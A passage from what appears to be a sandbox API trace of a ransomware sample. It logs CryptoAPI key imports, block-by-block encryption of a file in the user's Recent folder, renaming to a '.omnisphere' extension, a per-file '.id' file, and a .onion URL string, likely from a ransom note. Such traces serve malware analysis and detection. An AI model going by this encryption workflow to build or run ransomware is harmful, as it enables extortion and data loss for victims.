Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.055] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.055] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.055] CloseHandle (hObject=0x28c) returned 1 [0119.055] GetProcessHeap () returned 0x1600000 [0119.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.055] GetProcessHeap () returned 0x1600000 [0119.055] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a2758 | out: hHeap=0x1600000) returned 1 [0119.055] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed26789c, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x20715679, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20715679, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0xd3, cFileName="6rJr.lnk", cAlternateFileName="")) returned 1 [0119.055] GetProcessHeap () returned 0x1600000 [0119.055] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c0c8 [0119.055] PathCombineW (in: pszDest=0x167c0c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="6rJr.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk" [0119.055] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.055] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6rjr.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.056] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1049) returned 1 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.056] GetTickCount () returned 0x115dc04 [0119.057] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669230) returned 1 [0119.057] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16396a8) returned 1 [0119.057] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.057] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.057] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0119.057] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x419, lpName=0x0) returned 0x288 [0119.057] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x419) returned 0x1480000 [0119.058] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0119.058] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0119.058] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.058] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.059] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.060] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.061] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.061] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.061] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.061] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x419, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.061] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.061] GetProcessHeap () returned 0x1600000 [0119.061] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x165e460 [0119.061] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6rjr.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6rjr.lnk.omnisphere")) returned 1 [0119.062] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk.omnisphere.id" [0119.062] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\6rjr.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.066] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.067] CloseHandle (hObject=0x3c0) returned 1 [0119.068] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.068] CloseHandle (hObject=0x288) returned 1 [0119.068] SetEndOfFile (hFile=0x28c) returned 1 [0119.068] FlushFileBuffers (hFile=0x28c) returned 1 [0119.075] CloseHandle (hObject=0x28c) returned 1 [0119.075] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6rJr.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.075] GetProcessHeap () returned 0x1600000 [0119.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165e710 [0119.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.075] GetProcessHeap () returned 0x1600000 [0119.075] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693fa8 [0119.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693fa8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.075] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.075] WideCharToMultiByte (in: CodePage=0x0, 